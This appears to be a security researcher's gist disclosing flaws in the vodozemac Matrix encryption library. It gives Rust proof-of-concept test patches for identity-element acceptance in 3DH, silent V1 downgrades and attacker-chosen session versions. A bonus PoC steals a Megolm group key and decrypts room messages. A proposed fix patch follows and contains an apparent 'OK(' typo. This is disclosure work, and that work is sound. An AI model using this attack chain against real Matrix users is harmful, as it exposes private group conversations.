Skip to content

Instantly share code, notes, and snippets.

@soatok
Last active February 20, 2026 23:53
Show Gist options
  • Select an option

  • Save soatok/024f80b8377de4bf9d0cb2d7e57b1eed to your computer and use it in GitHub Desktop.

Select an option

Save soatok/024f80b8377de4bf9d0cb2d7e57b1eed to your computer and use it in GitHub Desktop.
Soatok Looks at Vodozemac

I finally got around to looking at vodozemac. I'm not impressed. At least it took more than 30 seconds this time.

PoC 1: Olm mishandles the identity element

diff --git a/src/olm/shared_secret.rs b/src/olm/shared_secret.rs
index ebad928..e0edfc6 100644
--- a/src/olm/shared_secret.rs
+++ b/src/olm/shared_secret.rs
@@ -154,4 +154,101 @@ mod test {
 
         assert_eq!(alice_result, bob_result);
     }
+
+    /// PoC: Identity element in 3DH produces a predictable shared 
+    /// secret regardless of either party's private keys, because 
+    /// `was_contributory()` is never checked.
+    ///
+    /// X25519 maps the all-zero public key to the identity element.
+    /// DH(any_secret, identity) = 0^32 by definition.  Three such
+    /// DH results concatenate into 0^96, and HKDF over that fixed
+    /// input yields a deterministic (root_key, chain_key) pair.
+    ///
+    /// Contrast with `sas.rs:248` and `ecies/mod.rs:268,297` which
+    /// both reject non-contributory DH results.
+    #[test]
+    fn identity_element_yields_predictable_3dh_secret() {
+        // from_bytes accepts any 32 bytes, including the X25519
+        // identity element, with no point validation.
+        let zero_key = PublicKey::from([0u8; 32]);
+
+        // --- Alice (random keys) ---
+        let alice_identity = StaticSecret::new();
+        let alice_one_time =
+            ReusableSecret::random_from_rng(thread_rng());
+
+        // Shared3DHSecret::new completes with no error; no
+        // was_contributory() check is performed on any of the three
+        // DH results.
+        let alice_secret = Shared3DHSecret::new(
+            &alice_identity,
+            &alice_one_time,
+            &zero_key,
+            &zero_key,
+        );
+
+        // --- Bob (entirely different random keys) ---
+        let bob_identity = StaticSecret::new();
+        let bob_one_time =
+            ReusableSecret::random_from_rng(thread_rng());
+
+        let bob_secret = Shared3DHSecret::new(
+            &bob_identity,
+            &bob_one_time,
+            &zero_key,
+            &zero_key,
+        );
+
+        // PROOF 1: The raw 96-byte shared secret is all zeros.
+        // This means the secret is independent of the private keys.
+        assert_eq!(
+            *alice_secret.0,
+            [0u8; 96],
+            "3DH with identity element must produce all-zero secret"
+        );
+        assert_eq!(
+            *bob_secret.0,
+            [0u8; 96],
+            "Different private keys still produce all-zero secret"
+        );
+
+        // PROOF 2: The HKDF-derived root key and chain key are
+        // identical for both parties, meaning an attacker who
+        // supplies the identity element as both remote public keys
+        // can derive the same session keys without knowing any
+        // private key material.
+        let (alice_root, alice_chain) = alice_secret.expand();
+        let (bob_root, bob_chain) = bob_secret.expand();
+
+        assert_eq!(
+            alice_root, bob_root,
+            "Root keys are identical — attacker can predict them"
+        );
+        assert_eq!(
+            alice_chain, bob_chain,
+            "Chain keys are identical — attacker can predict them"
+        );
+    }
+
+    /// Verify that the Remote (inbound) path is equally affected.
+    #[test]
+    fn identity_element_yields_predictable_remote_3dh_secret() {
+        let zero_key = PublicKey::from([0u8; 32]);
+
+        let identity = StaticSecret::new();
+        let one_time = StaticSecret::new();
+
+        let secret = RemoteShared3DHSecret::new(
+            &identity,
+            &one_time,
+            &zero_key,
+            &zero_key,
+        );
+
+        assert_eq!(
+            *secret.0,
+            [0u8; 96],
+            "Inbound 3DH also produces all-zero secret"
+        );
+    }
 }

PoC 2: Downgrade attack on SessionPickle when config field is missing

diff --git a/src/olm/session/mod.rs b/src/olm/session/mod.rs
index 06df507..a119d8d 100644
--- a/src/olm/session/mod.rs
+++ b/src/olm/session/mod.rs
@@ -796,4 +796,109 @@ mod test {
        assert_eq!(pickle, repickle);
    }

+    /// PoC: When a SessionPickle is deserialized without an
+    /// explicit `config` field, serde silently defaults to V1
+    /// (truncated MACs).  A V2 session that was pickled by an older
+    /// library version (which omitted the field) will be
+    /// downgraded to V1 on deserialization.
+    #[test]
+    fn pickle_without_config_defaults_to_v1() {
+        // JSON with no "config" field — simulates an older pickle.
+        let json_no_config = r#"
+        {
+            "receiving_chains": { "inner": [] },
+            "sending_ratchet": {
+                "active_ratchet": {
+                    "ratchet_key": [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],
+                    "root_key":    [2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2]
+                },
+                "parent_ratchet_key": null,
+                "ratchet_count": { "Known": 1 },
+                "symmetric_key_ratchet": {
+                    "index": 1,
+                    "key": [3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3]
+                },
+                "type": "active"
+            },
+            "session_keys": {
+                "base_key":     [4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4],
+                "identity_key": [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5],
+                "one_time_key": [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6]
+            }
+        }
+        "#;
+
+        let pickle: SessionPickle = serde_json::from_str(json_no_config)
+            .expect("Should deserialize pickle without config field");
+
+        // The silent downgrade: defaults to V1 instead of V2.
+        assert_eq!(
+            pickle.config,
+            SessionConfig::version_1(),
+            "Missing config silently defaults to V1 (truncated MAC)"
+        );
+        assert_ne!(
+            pickle.config,
+            SessionConfig::version_2(),
+            "Missing config does NOT default to V2 (full MAC)"
+        );
+    }
+ }

PoC 3: Attacker chooses V1 or V2

diff --git a/src/olm/account/mod.rs b/src/olm/account/mod.rs
index d93e5ba..fcc4d60 100644
--- a/src/olm/account/mod.rs
+++ b/src/olm/account/mod.rs
@@ -1613,4 +1613,82 @@ mod test {
 
         assert_eq!(alice.identity_keys(), account.identity_keys());
     }
+
+    /// PoC: The receiver's session version is determined entirely
+    /// by the incoming message's format byte, not by any policy. 
+    /// There is no way for the receiver to enforce a minimum
+    /// session version.
+    ///
+    /// If the sender (or an attacker who modifies the pre-key
+    /// message) uses V1 format, the receiver silently creates a V1
+    /// session with truncated 8-byte MACs — even if the receiver's
+    /// application intended to require V2.
+    #[test]
+    fn se_1_receiver_version_controlled_by_sender() -> Result<()> {
+        let alice = Account::new();
+        let mut bob = Account::new();
+
+        bob.generate_one_time_keys(2);
+        let otks: Vec<_> =
+            bob.one_time_keys().values().copied().collect();
+        bob.mark_keys_as_published();
+
+        // Alice creates a V1 session (attacker scenario: forces V1).
+        let mut alice_v1 = alice.create_outbound_session(
+            SessionConfig::version_1(),
+            bob.curve25519_key(),
+            otks[0],
+        );
+        let msg_v1 = alice_v1.encrypt("V1 message");
+
+        // Alice creates a V2 session (honest scenario).
+        let mut alice_v2 = alice.create_outbound_session(
+            SessionConfig::version_2(),
+            bob.curve25519_key(),
+            otks[1],
+        );
+        let msg_v2 = alice_v2.encrypt("V2 message");
+
+        // Bob receives V1 message — gets V1 session.
+        if let OlmMessage::PreKey(m) = msg_v1 {
+            let InboundCreationResult {
+                session: bob_v1, ..
+            } = bob.create_inbound_session(
+                alice.curve25519_key(),
+                &m,
+            )?;
+            assert_eq!(
+                bob_v1.session_config().version(),
+                1,
+                "V1 message → V1 session (no enforcement)"
+            );
+        } else {
+            bail!("Expected PreKey message for V1");
+        }
+
+        // Bob receives V2 message — gets V2 session.
+        if let OlmMessage::PreKey(m) = msg_v2 {
+            let InboundCreationResult {
+                session: bob_v2, ..
+            } = bob.create_inbound_session(
+                alice.curve25519_key(),
+                &m,
+            )?;
+            assert_eq!(
+                bob_v2.session_config().version(),
+                2,
+                "V2 message → V2 session"
+            );
+        } else {
+            bail!("Expected PreKey message for V2");
+        }
+
+        // The vulnerability: create_inbound_session has no
+        // `min_version` parameter.  Bob cannot reject V1 sessions
+        // even if his application requires V2.
+        // An attacker who re-encodes the pre-key message with
+        // version byte 0x03 forces Bob into V1 unconditionally.
+
+        Ok(())
+    }
 }

PoC 4: The default version is V1 anyway

diff --git a/src/olm/session_config.rs b/src/olm/session_config.rs
index b3294f1..68ad037 100644
--- a/src/olm/session_config.rs
+++ b/src/olm/session_config.rs
@@ -64,4 +64,30 @@ mod test {
         assert_eq!(SessionConfig::version_1().version(), Version::V1 as u8);
         assert_eq!(SessionConfig::version_2().version(), Version::V2 as u8);
     }
+
+    /// PoC: SessionConfig::default() returns version_1, which
+    /// uses 8-byte truncated MACs (64-bit security) instead of
+    /// full 32-byte MACs (256-bit security).
+    #[test]
+    fn se_2_default_config_is_v1_not_v2() {
+        let default = SessionConfig::default();
+        let v1 = SessionConfig::version_1();
+        let v2 = SessionConfig::version_2();
+
+        assert_eq!(
+            default, v1,
+            "Default config is V1 (truncated MACs)"
+        );
+        assert_ne!(
+            default, v2,
+            "Default config is NOT V2 (full MACs)"
+        );
+        assert_eq!(
+            default.version(),
+            1,
+            "Default version number is 1, not 2"
+        );
+    }
 }

Running These PoCs

I provided git diff output from the main branch. Apply these patches and run cargo test to confirm the issues.

Bonus Round: Compromising a group chat (Megolm) from a single participant

This bonus test case demonstrates how the identity element weakens the security of group chats by using a predictable shared secret (which is then run through a KDF).

diff --git a/src/olm/account/mod.rs b/src/olm/account/mod.rs
index fcc4d60..5774380 100644
--- a/src/olm/account/mod.rs
+++ b/src/olm/account/mod.rs
@@ -1691,4 +1691,130 @@ mod test {
 
         Ok(())
     }
+
+    /// PoC: Megolm session key exfiltration via X25519 identity element.
+    ///
+    /// Attack chain:
+    ///  1. Attacker replaces Bob's published Curve25519 keys with
+    ///     the identity element [0u8; 32].
+    ///  2. Alice creates an outbound Olm session to these zero keys.
+    ///     The 3DH shared secret collapses to [0u8; 96] regardless of
+    ///     Alice's private keys.
+    ///  3. Alice encrypts the Megolm SessionKey over this Olm session.
+    ///  4. The attacker independently derives the same chain key
+    ///     (because HKDF(0, [0;96], "OLM_ROOT") is deterministic),
+    ///     computes the same message key, and decrypts the Olm message.
+    ///  5. The decrypted payload is the Megolm SessionKey, which the
+    ///     attacker uses to decrypt ALL group messages in the room.
+    ///
+    /// This escalates a single poisoned Olm session into full
+    /// room compromise: every message from every participant encrypted
+    /// under that Megolm session is readable by the attacker.
+    #[cfg(feature = "low-level-api")]
+    #[test]
+    fn megolm_session_key_exfiltration_via_identity_element() {
+        use crate::cipher::{Cipher, MessageMac};
+        use crate::megolm::{
+            GroupSession, InboundGroupSession,
+            SessionConfig as MegolmSessionConfig, SessionKey,
+        };
+
+        // ── Step 1: Sender creates a Megolm group session ──
+        let mut group_session =
+            GroupSession::new(MegolmSessionConfig::default());
+        let session_key = group_session.session_key();
+        let session_key_bytes = session_key.to_bytes();
+
+        // Encrypt several group messages.
+        let room_msg_1 = group_session.encrypt(
+            "Quarterly earnings: revenue up 40%",
+        );
+        let room_msg_2 = group_session.encrypt(
+            "Confidential: merger target identified",
+        );
+
+        // ── Step 2: Alice encrypts the SessionKey over a poisoned
+        //    Olm channel (attacker replaced Bob's keys with zeros) ──
+        let alice = Account::new();
+        let zero_key = PublicKey::from([0u8; 32]);
+        let mut poisoned_session = alice.create_outbound_session(
+            SessionConfig::version_2(),
+            zero_key,
+            zero_key,
+        );
+        let olm_message = poisoned_session.encrypt(&session_key_bytes);
+
+        // ── Step 3: Attacker derives the identical message key ──
+        // The attacker creates their own outbound session to the same
+        // zero keys. Because the 3DH shared secret is deterministic
+        // ([0;96]) the HKDF-derived chain key is identical.
+        let attacker = Account::new();
+        let mut attacker_session = attacker.create_outbound_session(
+            SessionConfig::version_2(),
+            zero_key,
+            zero_key,
+        );
+        // The first message key from both sessions uses the same
+        // chain key, producing the same raw 32-byte symmetric key.
+        let attacker_msg_key = attacker_session.next_message_key();
+
+        // ── Step 4: Attacker decrypts the Olm-encrypted payload ──
+        if let OlmMessage::PreKey(pre_key) = &olm_message {
+            let inner = pre_key.message();
+
+            // Build a Cipher from the attacker's derived key.
+            let cipher = Cipher::new(attacker_msg_key.key());
+
+            // MAC verification passes with the attacker's key,
+            // proving key equivalence.
+            match &inner.mac {
+                MessageMac::Full(mac) => {
+                    cipher
+                        .verify_mac(&inner.to_mac_bytes(), mac)
+                        .expect(
+                            "Attacker's derived key authenticates \
+                             the victim's MAC",
+                        );
+                }
+                _ => panic!("Expected full MAC for V2 session"),
+            }
+
+            // Decrypt the Olm ciphertext.
+            let decrypted_bytes = cipher
+                .decrypt(&inner.ciphertext)
+                .expect("Attacker decrypts the Olm ciphertext");
+
+            // ── Step 5: Parse stolen Megolm SessionKey ──
+            let stolen_key =
+                SessionKey::from_bytes(&decrypted_bytes).expect(
+                    "Decrypted bytes are a valid Megolm SessionKey",
+                );
+
+            // ── Step 6: Decrypt group messages ──
+            let mut inbound = InboundGroupSession::new(
+                &stolen_key,
+                MegolmSessionConfig::default(),
+            );
+
+            let d1 = inbound
+                .decrypt(&room_msg_1)
+                .expect("Attacker decrypts group message 1");
+            let d2 = inbound
+                .decrypt(&room_msg_2)
+                .expect("Attacker decrypts group message 2");
+
+            assert_eq!(
+                String::from_utf8_lossy(&d1.plaintext),
+                "Quarterly earnings: revenue up 40%",
+                "Attacker reads first group message"
+            );
+            assert_eq!(
+                String::from_utf8_lossy(&d2.plaintext),
+                "Confidential: merger target identified",
+                "Attacker reads second group message"
+            );
+        } else {
+            panic!("Expected PreKey message from first Olm send");
+        }
+    }
 }

Apply the patch then run:

cargo test --features "low-level-api" megolm_session_key_exfiltration_via_identity_element
Subject: [PATCH] feat!: fix all-zero public key
---
Index: src/olm/shared_secret.rs
===================================================================
diff --git a/src/olm/shared_secret.rs b/src/olm/shared_secret.rs
--- a/src/olm/shared_secret.rs (revision a4807ce7f8e69e0a512bf6c6904b0d589d06b993)
+++ b/src/olm/shared_secret.rs (date 1770899879617)
@@ -36,7 +36,10 @@
use x25519_dalek::{ReusableSecret, SharedSecret};
use zeroize::{Zeroize, ZeroizeOnDrop};
-use crate::{Curve25519PublicKey as PublicKey, types::Curve25519SecretKey as StaticSecret};
+use crate::{
+ Curve25519PublicKey as PublicKey,
+ types::{Curve25519SecretKey as StaticSecret, KeyError},
+};
#[derive(Zeroize, ZeroizeOnDrop)]
pub struct Shared3DHSecret(Box<[u8; 96]>);
@@ -78,6 +81,26 @@
}
impl RemoteShared3DHSecret {
+ pub(crate) fn try_new(
+ identity_key: &StaticSecret,
+ one_time_key: &StaticSecret,
+ remote_identity_key: &PublicKey,
+ remote_one_time_key: &PublicKey,
+ ) -> Result<Self, KeyError> {
+ let first_secret = one_time_key.diffie_hellman(remote_identity_key);
+ let second_secret = identity_key.diffie_hellman(remote_one_time_key);
+ let third_secret = one_time_key.diffie_hellman(remote_one_time_key);
+
+ if !first_secret.was_contributory()
+ || !second_secret.was_contributory()
+ || !third_secret.was_contributory() {
+ return Err(KeyError::NonContributory)
+ }
+
+ Ok(Self(merge_secrets(first_secret, second_secret, third_secret)))
+ }
+
+ #[deprecated(since = "0.10.0", note = "SECURITY: Does not reject all-zero public keys. Use try_new() instead.")]
pub(crate) fn new(
identity_key: &StaticSecret,
one_time_key: &StaticSecret,
@@ -97,6 +120,26 @@
}
impl Shared3DHSecret {
+ pub(crate) fn try_new(
+ identity_key: &StaticSecret,
+ one_time_key: &ReusableSecret,
+ remote_identity_key: &PublicKey,
+ remote_one_time_key: &PublicKey,
+ ) -> Result<Self, KeyError> {
+ let first_secret = identity_key.diffie_hellman(remote_one_time_key);
+ let second_secret = one_time_key.diffie_hellman(&remote_identity_key.inner);
+ let third_secret = one_time_key.diffie_hellman(&remote_one_time_key.inner);
+
+ if !first_secret.was_contributory()
+ || !second_secret.was_contributory()
+ || !third_secret.was_contributory() {
+ return Err(KeyError::NonContributory)
+ }
+
+ OK(Self(merge_secrets(first_secret, second_secret, third_secret)))
+ }
+
+ #[deprecated(since = "0.10.0", note = "SECURITY: Does not reject all-zero public keys. Use try_new() instead.")]
pub(crate) fn new(
identity_key: &StaticSecret,
one_time_key: &ReusableSecret,

Comments are disabled for this gist.